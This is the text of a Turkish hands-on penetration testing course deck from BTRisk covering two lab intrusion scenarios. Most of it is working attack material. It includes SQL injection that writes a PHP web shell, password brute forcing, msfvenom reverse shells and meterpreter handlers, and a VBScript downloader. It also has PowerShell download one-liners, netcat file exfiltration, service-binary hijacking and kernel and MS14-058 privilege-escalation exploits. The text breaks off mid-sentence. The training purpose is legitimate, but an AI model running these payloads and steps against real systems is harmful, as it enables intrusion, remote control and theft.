SlideShare a Scribd company logo
1 of 223
blog.btrisk.com @btrisk /btrisktv /btrisk
UYGULAMALI
SIZMA TESTİ
EĞİTİMİ-1
BTRİSK HAKKINDA
TANIŞMA
Pentest & BT Denetimi
ISO27001 Danışmanlık
Hizmetleri
BG Operasyon
Hizmetleri
Göreviniz, Deneyiminiz ve Eğitimden Beklentileriniz
Nelerdir?
TANIŞMA
TEMEL SIZMA TESTİ METODU
Bilgi Toplama
İstismar PAYLOAD'u
Gönderme
Girdi Noktalarının
Tespiti
SHELL Erişimi Sağlama ve Dosya Yükleme
Parola Saldırısı
Gerçekleştirme
Yetki Yükseltme ve Ele Geçirilen Sistemi Saldırı Platformu
Olarak Kullanmaya Başlama
HACKING'İN ALTIN KURALI
BİR HEDEFE ANCAK
GİRDİ NOKTALARINDAN
SALDIRABİLİRSİNİZ
SALDIRI (GİRDİ) NOKTALARI
• İnsan
• Tesis
• Ağ
• Sistem
• Uygulama (Servis)
Eğitimimizin odağını oluşturacaklar
İstemci taraflı saldırılarla ilgili
dolaylı olarak değineceğiz
METOD VE
ARAÇLAR
(Uygulamalı
Giriş)
İÇERİK
• Kali Linux Kurulumu
• Sistem-1 (Senaryo)
• Sistem-2 (Senaryo)
• Örnek Senaryolarda Kullanılan Araçlar
• Olası Sorular ve İlgili Bölümler
ÖNEMLİ UYARI
• Eğitimin bu bölümünde 2 farklı sisteme yönelik
saldırı senaryoları izlenecektir.
• Senaryolar sırasında ilk defa karşılaşıyor
olabileceğiniz ve tam olarak nasıl çalıştığını bu
noktada anlayamayabileceğiniz uygulamaları
gerçekleştireceksiniz.
• PANİK OLMAYIN !!!
• Bu uygulamalara teorik bilgi aktarılırken referans
verilecek, bu şekilde teorik bilginin sıkıcılığı azalırken
uygulamalarda oluşan sorularınız yanıt bulmaya
başlayacaktır.
ÖN ADIMLAR
• KALI Linux kurulumu
• Sistem-1 OVF imajının sanallaştırma uygulamasına
import edilmesi ve başlatılması
• Sistem-2 OVF imajının sanallaştırma uygulamasına
import edilmesi ve başlatılması (bu imaj için
eğitmenler tarafından bir uygulamanın başlatılması
gerekecektir)
KALİ LİNUX KURULUMU
• Kali Linux işletim sisteminin kurulumu herhangi bir
Linux işletim sisteminin kurulumundan farksızdır.
• İşletim sistemi ISO imajı "www.kali.org" sitesinden
indirilir.
• Kullandığınız sanallaştırma uygulaması ile yeni bir
sanal makine oluşturulur.
• Disk imajı olarak indirilen ISO imajı seçilir ve
bilgisayar CD'den boot edilmiş gibi işletim sistemi
başlatılır. İsterseniz Kali'yi bu şekilde (Live olarak) de
kullanabilirsiniz. Ancak bir diske kurulum
yapmadığınız takdirde dosya sistemine yazdığınız
veriler kalıcı olmayacaktır.
KALİ LİNUX KURULUMU
• Kurulum sırasında ana hatları ile aşağıdaki işlemler
gerçekleştirilir:
• (Sanal diskin) partition tablosunun oluşturulması
ve belirlenen partitionların dosya sistemlerinin
formatlanması.
• (İşletim sistemi kernel'ı da dahil) sistem
dosyalarının oluşturulan sanal diske
kopyalanması ve kurulum sırasında belirlenen
ayarların diske yazılması.
• Bootloader uygulamasının (bileşenlerinin)
partition tablosuna ve sanal diske yazılması.
KALİ LİNUX KURULUMU
• İşletim sistemlerinin başlatılma süreci ise ana hatları
ile şu şekildedir:
• Bilgisayar BIOS sistemi diskin ilk sektöründen
başlayan partition tablosunu okur.
• Partition tablosunda yer alan Master Boot
Record (MBR) içinde bulunan Bootloader kodu
devreye girer.
• Bootloader kodu işletim sistemi kernel'ını
hafızaya yükler.
• Kernel diskin dosya sistemini hayata geçirir ve
"init script"lerini işletir. Bu aşama
tamamlandığında işletim sistemi ayaktadır.
KALİ LİNUX KURULUMU
İşletim sisteminin
kurulumu için Kali'nin ISO
imaj dosyasını seçiyoruz.
KALİ LİNUX KURULUMU
Kolay bir kurulum için
graphical install
seçeneğini seçiyoruz.
Kurulum yapmak
istemeseydik ve sadece
live olarak Kali'yi
kullanmak isteseydik bu
opsiyon ile işletim
sistemini başlatabilirdik.
KALİ LİNUX KURULUMU
KALİ LİNUX KURULUMU
Gerçek bir ortamda şifreninin bu
şekilde belirlenmesi önerilmez.
Ancak Kali öntanımlı olarak
herhangi bir servisi açık biçimde
kurulmaz, hatta yeni bir servis
kurduğunuzda bu servisin otomatik
olarak hayata geçirilmesini
engelleyecek biçimde
özelleştirilmiştir. Bu yüzden parolayı
unutmaktansa "toor" olarak
belirlemek tercih edilebilir.
KALİ LİNUX KURULUMU
KALİ LİNUX KURULUMU
Kurulumumuz tek partition (yani
dosya sistemi) barındıracak bir
disk oluşturacak.
Operasyonel işletim sistemlerinde
sistem dosyaları ve sürekli
büyüyen dosyaları farklı
partition'larda barındırmak
isteyebilirsiniz.
KALİ LİNUX KURULUMU
KALİ LİNUX KURULUMU
KALİ LİNUX KURULUMU
KALİ LİNUX KURULUMU
KALİ LİNUX KURULUMU
Bootloader'ın (GRUB) tek diskimiz
olan /dev/sda cihazına yazılması
önemli. Burada hata yaparsak
bootloader devreye giremeyecek,
dolayısıyla işletim sistemi de
ayağa kaldırılamayacaktır.
KALİ LİNUX KURULUMU
KALİ LİNUX KURULUMU
Çözünürlük
Klavye Ayarları
KALİ LİNUX KURULUMU
1
2
3
Host bilgisayarınızla Kali Linux guest bilgisayarınız arasında sürükle bırak
kopyalama yapabilmek ve clipboard'u kullanabilmek için.
SİSTEM – 1
SİSTEM – 1 (IMAJI IMPORT ETME)
• Sistem-1'i OVF dosyasından sanallaştırma
uygulamanıza import ediniz.
OVF dosyasından sistem imajımızı
import etmek için mevcut bir
sanal makineyi açarmış gibi OVF
dosyasını seçiyoruz.
SİSTEM – 1 (IMAJI IMPORT ETME)
İmajı import etmek
için Import
düğmesine
basıyoruz.
SİSTEM – 1 (IMAJI IMPORT ETME)
SİSTEM – 1 (IMAJI IMPORT ETME)
SİSTEM – 1 (SENARYO)
Kali bilgisayarımızın IP adresi
SİSTEM – 1 (SENARYO)
# netdiscover -r 192.168.163.0/24
Bizim ortamımızda diğer aktif sunucunun
137 adresli sunucu olduğunu ARP taraması
ile tespit ettik.
SİSTEM – 1 (SENARYO)
# nmap -A 192.168.163.137
Port taramamız sonucunda sunucu
üzerinde bir web sunucusu bulunduğunu
tespit ediyoruz.
SİSTEM – 1 (SENARYO)
Hedef sunucumuz üzerinde öntanımlı
kurulumda bırakılmış gibi görünen bir CMS
uygulaması var.
CMS uygulamasının adı nmap taramasında
da görüldüğü gibi Baby Gekko.
SİSTEM – 1 (SENARYO)
# searchsploit baby gekko
SİSTEM – 1 (SENARYO)
Uygulamanın versiyonunu bulma
çalışmaları.
SİSTEM – 1 (SENARYO)
# nikto -h 192.168.163.137
SİSTEM – 1 (SENARYO)
SİSTEM – 1 (SENARYO)
# dirb http://192.168.163.137
SİSTEM – 1 (SENARYO)
Uygulama versiyonunu bulabilmek için
açıklık barındıran uygulamanın bir
kopyasını indirerek içinde versiyon
bilgisini barındıran bir dosya arayabiliriz.
Eğer bulabilirsek daha sonra bu dosyaya
anonim olarak erişebilir miyiz diye
inceleyebiliriz.
SİSTEM – 1 (SENARYO)
SİSTEM – 1 (SENARYO)
# grep -r -i "vers" .
-r: Recursive
-i: Ignore case
SİSTEM – 1 (SENARYO)
Admin olmadan versiyonu görmemiz zor
görünüyor.
SİSTEM – 1 (SENARYO)
Stored XSS uygulama
yöneticisinin oturum
parametresini çalmamıza
yarayabilir. Ancak bu saldırı için
sabırlı olmamız gerekir.
Bu açıklıkla ilgili özet bilgi pek
açıklayıcı değil. Detaylı bilgi için
inceleyelim.
SİSTEM – 1 (SENARYO)
Bu versiyonda SQL Injection, Local File Inclusion ve XSS
açıklıkları var. LFI'ı denediğimizde uygulama hata alıyor. Bu
nedenle SQLi açıklığını deneyelim.
Ancak SQLi için Admin erişimine ihtiyacımız var, çünkü SQLi
açıklıkları bu kullanıcının erişebildiği sayfalarda mevcut.
SİSTEM – 1 (SENARYO)
Parola listesi oluşturmak için
kullandığımız araç:
# cewl http://192.168.163.137
SİSTEM – 1 (SENARYO)
cewl ile web sitesinin ilk sayfasında
bulunan kelimelerden bir sözlük dosyası
oluşturduk. Ancak bu sözlükteki
kelimelerden farklı bir sözlük türetmek
için John the Ripper programının rule
özelliğinden faydalanabiliriz.
JTR ile birlikte gelen konfigürasyon
dosyasına ek olarak KoreLogic
tarafından geliştirilmiş olan kuralları
kullanabiliriz.
SİSTEM – 1 (SENARYO)
KoreLogic'ten aldığımız kuralı john.conf
konfigürasyon dosyasına aktarıyoruz.
SİSTEM – 1 (SENARYO)
# john --wordlist=passlist.txt --rule=KoreLogicRulesAppendJustNumbers --
stdout > mutated-wordlist.txt
SİSTEM – 1 (SENARYO)
Parola kırma saldırısı için bir
attack proxy kullanacağız.
SİSTEM – 1 (SENARYO)
SİSTEM – 1 (SENARYO) Trafiğimizi attack proxy'den
geçirmek için tarayıcı
ayarımızı düzenliyoruz.
SİSTEM – 1 (SENARYO)
Kaba kuvvet saldırısı
yapacağımız parametreyi
seçiyoruz.
SİSTEM – 1 (SENARYO)
Sözlük dosyası olarak yeni
oluşturduğumuz dosyayı
seçiyoruz.
SİSTEM – 1 (SENARYO)
Yanıtları HTTP Response
Code'a göre tersten
sıraladığımızda kırılan
parolanın "btrisk" olduğunu
görebiliriz.
SİSTEM – 1 (SENARYO)
http://[host]/admin/index.php?app=users&ajax=1&action=search&keyword=1%27
%29%20UNION%20SELECT%201,2,3,4,5,6,7,8,%27%3C?%20phpinfo%28%29;%20?
%3E%27%20INTO%20OUTFILE%20%27/tmp/.class.php%27%20--%202%20
SİSTEM – 1 (SENARYO)
http://[host]/admin/index.php?app=users&ajax=1&action=search&keyword=1')
UNION SELECT 1,2,3,4,5,6,7,8,'<? phpinfo(); ?>' INTO OUTFILE '/tmp/.class.php' -- 2
SİSTEM – 1 (SENARYO)
http://192.168.163.137/admin/index.php?app=users&ajax=1&action=search&keyw
ord=1') UNION SELECT 1,2,3,4,5,6,7,8 ,'<?php phpinfo(); ?>' INTO OUTFILE
'/var/www/html/test.php' -- 2
Bizim ortamımızda PHP
kodunun çalışabilmesi için <?
sonrasında bir de "php"
ifadesini eklemek
durumunda kaldık.
SİSTEM – 1 (SENARYO)
SİSTEM – 1 (SENARYO)
SİSTEM – 1 (SENARYO)
http://192.168.163.137/admin/index.php?app=users&ajax=1&action=search&keyw
ord=1') UNION SELECT 1,2,3,4,5,6,7,8 , "<?php System($_REQUEST['cmd']); ?>"
INTO OUTFILE '/var/www/html/cmd.php' -- 2
Bu defa daha işe yarar bir
payload ile bir php dosyası
oluşturalım
SİSTEM – 1 (SENARYO)
BİR SONRAKİ ADIM
Bize shell açacak bir
payload'u hedef bilgisayar
üzerine atmak ve bu kodu
çalıştırmak olacak.
cmd.php uygulaması
sayesinde hedef bilgisayar
üzerinde sistem komutu
çalıştırmayı başardık.
SİSTEM – 1 (SENARYO)
# msfvenom -p php/meterpreter/reverse_tcp
LHOST=192.168.163.138 LPORT=4444 -f raw > payload.txt
msfvenom ile bir reverse meterpreter
oturumu başlatacak olan PHP payload'u
üretiyoruz.
SİSTEM – 1 (SENARYO)
http://192.168.163.137/cmd.php?cmd=nc -vv -l 1234 > reverse.php
Hedef bilgisayar üzerinde (bir linux
sunucu olduğu için) netcat ile TCP 1234
portundan dinleyecek ve gelen veriyi
"reverse.php" dosyasına aktaracak olan
sistem komutunu çalıştırıyoruz.
SİSTEM – 1 (SENARYO)
# nc -vv 192.168.163.137 1234 < payload.txt
Saldırı bilgisayarımızdan
oluşturduğumu PHP payload'unu hedef
bilgisayara aktarıyoruz.
SİSTEM – 1 (SENARYO)
# msfconsole
Hedef bilgisayardan gelecek olan
bağlantıyı ele almak üzere msfconsole'u
başlatıyoruz.
SİSTEM – 1 (SENARYO)
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.163.138
set LPORT 4444
run
SİSTEM – 1 (SENARYO)
http://192.168.163.137/reverse.php
Hedef bilgisayar üzerinde netcat ile
aktardığımız payload script'ini
çalıştırıyoruz.
SİSTEM – 1 (SENARYO)
Handler'ımız hedeften gelen bağlantıyı
ele aldı ve meterpreter oturumumuz
başlatıldı.
SİSTEM – 1 (SENARYO)
shell
whoami
uname -a
cat /etc/*-release
Ubuntu 14.04
Kernel 3.13.0-32-generic
Yetki yükseltme adımı için bilgi
toplamaya başlıyoruz.
SİSTEM – 1 (SENARYO)
Hedef bilgisayarın işletim sistemi kernel
versiyonuna uygun bir Local Privilege
Escalation exploit'u arayabiliriz.
SİSTEM – 1 (SENARYO)
Bulduğumuz kaynaklar içinde bazen
exploit kaynak koduna bazen de
derlenmiş exploit koduna rastlayabiliriz.
Derleme işleminin en sağlıklı
yapılabileceği sistem hedef sistemdir,
ancak her zaman hedef sistem üzerinde
bir derleyici bulamayabiliriz. Bu gibi
durumlarda derlenmiş bir exploit bizim
için daha pratik olacaktır.
SİSTEM – 1 (SENARYO)
Derlenmiş exploit kodunu barındıran
bir github kütüphanesinden 64 bitlik
kernel exploit'umuzu indirelim.
SİSTEM – 1 (SENARYO)
exit (shell'den ayrılıyoruz)
[Meterpreter]
upload ./Downloads/ofs_64
shell
[Shell]
cd /tmp
ls -al ofs_64
chmod +x ofs_64
./ofs_64
# id
YETKİ YÜKSELTME –
PRIVILEGE ESCALATION
SİSTEM – 1 (SENARYO)
ÖZETLE;
• Port taraması ile tespit ettiğimiz web
uygulamasının açıklık barındıran bir uygulama
olduğunu öğrendik.
• Uygulamanın admin logon sayfasını tespit ettik
ve admin şifresini sözlük saldırısı ile kırdık.
• Admin profili ile SQLi saldırısı gerçekleştirerek
hedef sisteme sistem komutları çalıştırabilen bir
PHP dosyası yazdık.
• "msfvenom" ile bir PHP reverse meterpreter
payload'u oluşturduk ve bu dosyayı hedef
sisteme attık.
SİSTEM – 1 (SENARYO)
ÖZETLE (devamı);
• "msfconsole" uygulamasının
exploit/multi/handler modülü ile reverse
bağlantıyı karşıladık ve meterpreter oturumu
başlattık. Sağladığımız erişim "www-data" adlı
kullanıcı haklarıyla sağlanmıştı.
• Yetki yükseltme için bilgi topladık ve bir local
privilege exploit kullanarak "root" kullanıcısı
olduk.
Not: Normalde yetki yükseltme aşamasına hemen geçmeden "www-data"
kullanıcısının dahil olduğu grupları ("id" komutu ile) ve sudo haklarını ("sudo
–l" komutu ile) kontrol etmemiz gerekir. Belki de zaten yüksek erişim
haklarına sahibizdir.
SİSTEM – 2
SİSTEM – 2 (SENARYO)
# netdiscover -r 192.168.163.0/24
BU ADIMDAN SONRA
EĞİTMENİNİZİN
SİSTEMİNİZDE BİR İŞLEM
GERÇEKLEŞTİRMESİ
GEREKLİDİR !!!
SİSTEM – 2 (SENARYO)
# nmap -A 192.168.163.140
Nmap'in işletim sistemi
tahmini
SİSTEM – 2 (SENARYO)
Netcat ile TCP 888 portuna
bağlandıktan (TCP handshake
tamamlandıktan) hemen sonra sunucu
bağlantıyı sonlandırıyor.
SİSTEM – 2 (SENARYO)
Bilinen portlar incelemesi.
SİSTEM – 2 (SENARYO)
# nmap -sU -sV --top-ports 20
192.168.163.140
UDP port tarama
Nmap SNMP community
string tespiti de yapmış
SİSTEM – 2 (SENARYO)
Hedef bilgisayarımızın
Windows olduğundan
şüpheleniyoruz, ancak
Netbios taraması herhangi bir
sonuç döndürmedi.
Neden?..
SİSTEM – 2 (SENARYO)
# snmp-check -c public 192.168.163.140
Netbios taramasından sunucu
adını öğrenemesek de SNMP
sorguları ile sunucunun adını
elde edebildik.
SİSTEM – 2 (SENARYO)
Kullanıcı hesaplarını elde
edebildik. Ancak uzaktan
saldırı için şu aşamada bir
işimize yaramıyor.
Neden?..
SİSTEM – 2 (SENARYO)
Hedef sunucumuz
92.222.129.112 IP adresli
başka bir sunucuyla TCP 80
portundan iletişim kurmuş
görünüyor.
SİSTEM – 2 (SENARYO)
# whois 92.222.129.112
Whois sorgusunda
92.222.129.112 IP adresinin
de içinde bulunduğu IP
aralığının sahibinin ALLPlayer
olarak geçiyor. Artur bir kişi
ismine benziyor.
SİSTEM – 2 (SENARYO)
SİSTEM – 2 (SENARYO)
Çalışan proses'lerden
birisinin adı ALLMediaServer
olarak geçiyor.
SİSTEM – 2 (SENARYO)
Zayıf bir ilişki de olsa TCP 888
portu ile ilgili bir ifade ürünle
ilgili bir sayfada geçiyor.
SİSTEM – 2 (SENARYO)
TCP 888 portunda çalışan
servisin ALLMedia Server ile
ilgili olduğuna dair şüphemiz
güçlendiği için bu
uygulamayla ilgili istismar
kodu var mı arıyoruz.
Birinci istismar kodunu içinde
bulunduğumuz dizine
kopyalıyoruz.
SİSTEM – 2 (SENARYO)
Windows 7 üzerinde çalışan
bir istismar kodu. Bizim
işletim sistemi tahminimizle
de uyumlu.
SİSTEM – 2 (SENARYO)
İstismar kodu içinde
bulunan shell code bir
reverse tcp kodu, ancak
bizim ihtiyacımıza
uygun değil.
Çünkü bizim istediğimiz
adrese dönmesi lazım.
SİSTEM – 2 (SENARYO)
Reverse TCP
bağlantısının kurulması
için bilgisayarımızın IP
adresini kontrol edelim.
SİSTEM – 2 (SENARYO)
# msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp
LHOST=192.168.163.138 LPORT=4444 -e x86/shikata_ga_nai -b 'x00' -i 3 -f
python > payload.txt
Python reverse tcp shell
payload'umuzu oluşturuyoruz.
Dönüş yapacağımız TCP port'u 4444
SİSTEM – 2 (SENARYO)
Bizim oluşturduğumuz
shell code.
SİSTEM – 2 (SENARYO)
Kendi shellcode'umuzu
yerleştirdikten sonra
istismar kodundaki
yerel değişken
isimlerinden dolayı
taranmış alanda da
gösterilen düzenlemeyi
yapıyoruz.
SİSTEM – 2 (SENARYO)
ALLMedia Server olduğundan şüphelendiğimiz
servisi exploit etmeye hazırız.
Dönen shell'i karşılamak için Netcat ile TCP 4444
portundan dinlemeye başlıyoruz.
SİSTEM – 2 (SENARYO)
İstismar kodumuzu çalıştırdığımızda reverse
shell'imizi alıyoruz.
"whoami" komutu ile bağlandığımız kullanıcı
kodunu sorguladığımızda "test" adlı kullanıcıyla
sisteme bağlandığımızı görüyoruz.
SİSTEM – 2 (SENARYO)
whoami /groups komutu ile kullanıcımızın dahil
olduğu grupları listelediğimizde Administrators
grubuna dahil olduğumuzu görüyoruz. Bu oldukça
iyi, ancak Windows işletim sisteminde en yüksek
erişim hakkına sahip kullanıcı System kullanıcısı.
SİSTEM – 2 (SENARYO)
wmic service get name,displayname,pathname,startmode
Windows bilgisayarlarda yetki yükseltmek için faydalanabileceğimiz
zayıflıklardan birisi de servis kodlarının erişim kontrol zayıflığıdır. Bunun için
önce "wmic service get" komutu ile tüm servisleri listeleyelim.
SİSTEM – 2 (SENARYO)
wmic service get name,displayname,pathname,startmode | findstr /i /v
"windows"
Hedefimizi biraz daha daraltmak için içinde Windows geçmeyen satırları
arayalım. C:Windows dizini dışında bulunan çalıştırılabilir kodların erişim
hakları daha gevşek olabilir düşüncesi ile böyle bir inceleme yapabiliriz.
SİSTEM – 2 (SENARYO)
cacls C:btrisk
Kullanıcımızın da içinde
olduğu Administrators
grubunun C:btrisk
dizinine Full erişim
hakkı var.
Hedef sistem üzerinde
daha rahat işlem
yapabilmek için dosya
aktarabilmemiz lazım.
Windows ortamında
wget benzeri bir
fonksiyonaliteyi bu vb
script ile oluşturabiliriz.
SİSTEM – 2 (SENARYO)
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
SİSTEM – 2 (SENARYO)
Script'imizi yazarken
erişim hakkı problemi
yaşamamak için
C:WindowsTemp
dizinine geçiyoruz.
Script'i kopyala yapıştır
işlemiyle shell'imize
yazabiliriz. Shell
erişimimiz üzerinden
hedef bilgisayar
üzerinde wget.vbs
script'imiz oluşacaktır.
SİSTEM – 2 (SENARYO)
Servis exe'sini ezmek ve bu exe'yi harekete geçirerek hedef sisteme
System kullanıcı hakları ile bağlanmak amacıyla servis exe türünde bir
payload oluşturuyoruz. Bu payload bilgisayarımıza TCP 5555 portundan
bağlanacak.
# msfvenom --platform windows -p windows/x64/shell_reverse_tcp
LHOST=192.168.163.138 LPORT=5555 -f exe-service -o service.exe
# python -m SimpleHTTPServer 80
SimpleHTTPServer Python
modülü ile basit bir HTTP
servisini içinde bulunduğumuz
dizin içinde başlatıyoruz.
SİSTEM – 2 (SENARYO)
cscript wget.vbs http://192.168.163.138/service.exe service.exe
wget.vbs script'i ile servis exe'mizi hedef bilgisayara çekiyoruz. Daha sonra
yazma hakkımız olduğu için bu dosya ile asıl servis kodunu eziyoruz.
SİSTEM – 2 (SENARYO)
Servis tekrar başlatıldığında
System kullanıcı hakları ile
açılacak shell'i beklemek
amacıyla TCP 5555 portundan
dinlemeye başlıyoruz.
SİSTEM – 2 (SENARYO)
net stop btrservice
net start btrservice
Btrservice servisimizi tekrar
başlatarak reverse shell
bağlantısının kurulmasını
sağlıyoruz.
SİSTEM – 2 (SENARYO)
YETKİ YÜKSELTME –
PRIVILEGE ESCALATION
SİSTEM – 2 (SENARYO) Yetki Yükseltme
Alternatif Senaryo
• Az önceki örneğimizde hedef bilgisayarımızdaki bir
yetkilendirme konfigürasyon hatasından
faydalandık.
• Bu örneğimizde ise hedef bilgisayarda bir lokal
exploit kullanarak yetki yükseltme adımını
gerçekleştireceğiz.
Bu script'in kodunu GitHub'ın
web sitesinden "raw"
düğmesine sağ klikleyerek kodu
indirebilirsiniz
Hedef sistem üzerinde SYSTEM haklarına
geçiş yapabilmek için sistemin eksik
yamalarını inceleyeceğiz. Bunun için
hedef sunucudan alacağımız
"systeminfo" komutunun sonuçlarını
Windows Exploit Suggester script'i ile
analiz edeceğiz.
SİSTEM – 2 (SENARYO) Yetki Yükseltme
Alternatif Senaryo
Windows-exploit-suggester.py script'imize
çalıştırma izni verdikten sonra "--update"
opsiyonuyla çalıştırıyoruz. Bu işlem
sayesinde script'imiz güncel güncelleme
listesini bir XLS dosyası olarak indiriyor.
./windows-exploit-suggester.py --update
SİSTEM – 2 (SENARYO) Yetki Yükseltme
Alternatif Senaryo
Küçük bir ayrıntı ancak Python script'imiz bir
XLS dosyayı girdi olarak alacağı için XLRD
python paketinin yüklenmesi gerekiyor.
pip install xlrd
SİSTEM – 2 (SENARYO) Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
locate nc.exe
Hedef işletim sistemi Windows olduğunda Linux'daki kadar zengin upload ve
download imkanlarına sahip değiliz. Hedef sisteme upload yapabilmek için daha
önce bir VBS script'i oluşturduk, ayrıca Windows işletim sistemi bize Powershell,
BITS gibi ek imkanlar da sunuyor upload işlemi için. Ancak Windows'dan saldırı
platformumuza download için imkanlarımız daha kısıtlı. Bu kısıtı aşabilmekve bu
sistemden (saldırı sistemimize) download kabiliyetimizi artırmak için hedef sisteme
NetCat'i yükleyebiliriz.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
python -m SimpleHTTPServer 80
NetCat'i yüklemek için basit HTTP
sunucumuzu başlatalım.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
powershell -exec bypass -c "(New-Object
System.Net.WebClient).DownloadFile('http://192.168.152.192/
nc.exe','C:WindowsTempnc.exe')";
Bu PowerShell oneliner ile hedef sisteme bir dosyayı HTTP üzerinden indirebiliriz.
PowerShell son derece güçlü bir araç ve oldukça esnek. Bu nedenle gerçek hayat
senaryolarında izlenme ihtimali de yüksek olduğundan Red Team senaryolarında
daha önce oluşturduğumuz VBS script'inin tercih edildiği durumlar da olabilir.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO) Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
systeminfo > C:WindowsTempsysteminfo.txt
"systeminfo" komutu ile hedef bilgisayar hakkındaki temel bilgiler (işletim sistemi
versiyon ve mimarisi gibi) ile birlikte yüklenmiş olan yamaların (hotfix'ler) da
listesini alabiliriz.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
nc -vv -lp 8888 > systeminfo.txt
Bir Linux sistemi olan Sistem-1 senaryosunda NetCat'i hedef sisteme dosya
aktarmak için bir PHP uygulaması aracılığı ile kullanmıştık. Bu defa tam tersi yönde
dosya aktarımı için NetCat'i kullanacağız. Bu imkan sayesinde hedef sistem
üzerinde çalıştırdığımız "systeminfo" komutunun çıktısını dosya olarak indireceğiz.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
nc -vv -w 10 192.168.152.192 8888 < systeminfo.txt
Hedef Windows sistemi üzerinde çalıştıracağımız bu komutla dosyayı saldırı
sistemimiz üzerinde dinlemekte olduğumuz TCP 8888 portuna iletiyoruz. Bu
kullanımda "-w 10" parametresi bağlantının 10 sn. sonra sonlandırılması için
kullanılmaktadır. Eğer aktarım süreniz daha uzunsa bu süreyi uzatmalısınız.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
Saldırı sistemimizde gelen dosyayı kaydettik ve Windows'da çalışan NetCat
uygulaması bağlantıyı sonlandırdığında dinleyen NetCat'de çalışmayı sonlandırdı.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
./windows-exploit-suggester.py -i systeminfo.txt -d
2019-01-11-mssb.xls > winexploits.txt
Daha önce indirdiğimiz exploit suggester uygulamamızla Microsoft'tan yeni
güncellediğimiz yama listesini ve hedef sistem üzerinde mevcut yamaları
karşılaştıralım. Bu işlemi gözle daha yapabileceğimizi unutmayalım.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
Exploit Suggester script'inin çıktılarını inceleyerek potansiyel lokal exploit'leri
araştırıp, bulup hedef sistem üzerinde deneyebiliriz. Başında [E] olan satırlar
Exploit-Db'de mevcut lokal exploit'leri, [M] olan satırlar Metasploit'te mevcut olan
lokal exploit'leri belirtmek için kullanılmış. Ancak farklı kaynaklardan da lokal
exploit bulmak mümkün.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
Bu adımda pek çok exploit tek tek denenebilir, ancak kararlı bir lokal exploit'i daha
önceden deneyimlemişseniz elbette ilk denemek isteyeceğiniz exploit bu olabilir.
Bu örnekte pek çok saldırıda da kullanıldığını bildiğimiz MS14-058 lokal exploit'ini
kullanacağız. Bu exploit'in Metasploit modülü de var, ancak biz bu örnekte farklı
bir exploit kodunu internetten bularak kullanacağız.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
MS14-058 için ekranda görülen linkli RAR
paketini kullanabiliriz.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO) Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
Hedef sistemimiz 64 bit'lik bir işletim sistemi
olduğu için Win64.exe dosyasını /root/
dizinine çıkaralım.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
Win64.exe dosyasının içinde bulunduğu
/root/ dizininin içinden basit HTTP
servisimizi başlatalım.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
powershell -exec bypass -c "(New-Object
System.Net.WebClient).DownloadFile('http://192.168.152.192/
Win64.exe','C:WindowsTempWin64.exe')";
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
msfvenom -p windows/x64/shell_reverse_tcp
LHOST=192.168.152.192 LPORT=5555 -f exe > shell.exe
Win64.exe exploit kodumuzla tetikleyeceğimiz ve bize "SYSTEM"
kullanıcı hakları ile ikinci bir shell açacak olan payload'umuzu
"msfvenom" ile oluşturalım.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
powershell -exec bypass -c "(New-Object
System.Net.WebClient).DownloadFile('http://192.168.152.192/
shell.exe','C:WindowsTempshell.exe')";
Reverse TCP shell payload'umuzu da hedef sisteme PowerShell
yardımı ile yükleyelim.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
İki dosyamızın da hedef bilgisayar tarafından çekilip çekilmediğini
basit HTTP sunucumuzu başlattığımız konsolumuzdan görebiliriz.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
"SYSTEM" hakları ile bağlantı kurmasını beklediğimiz
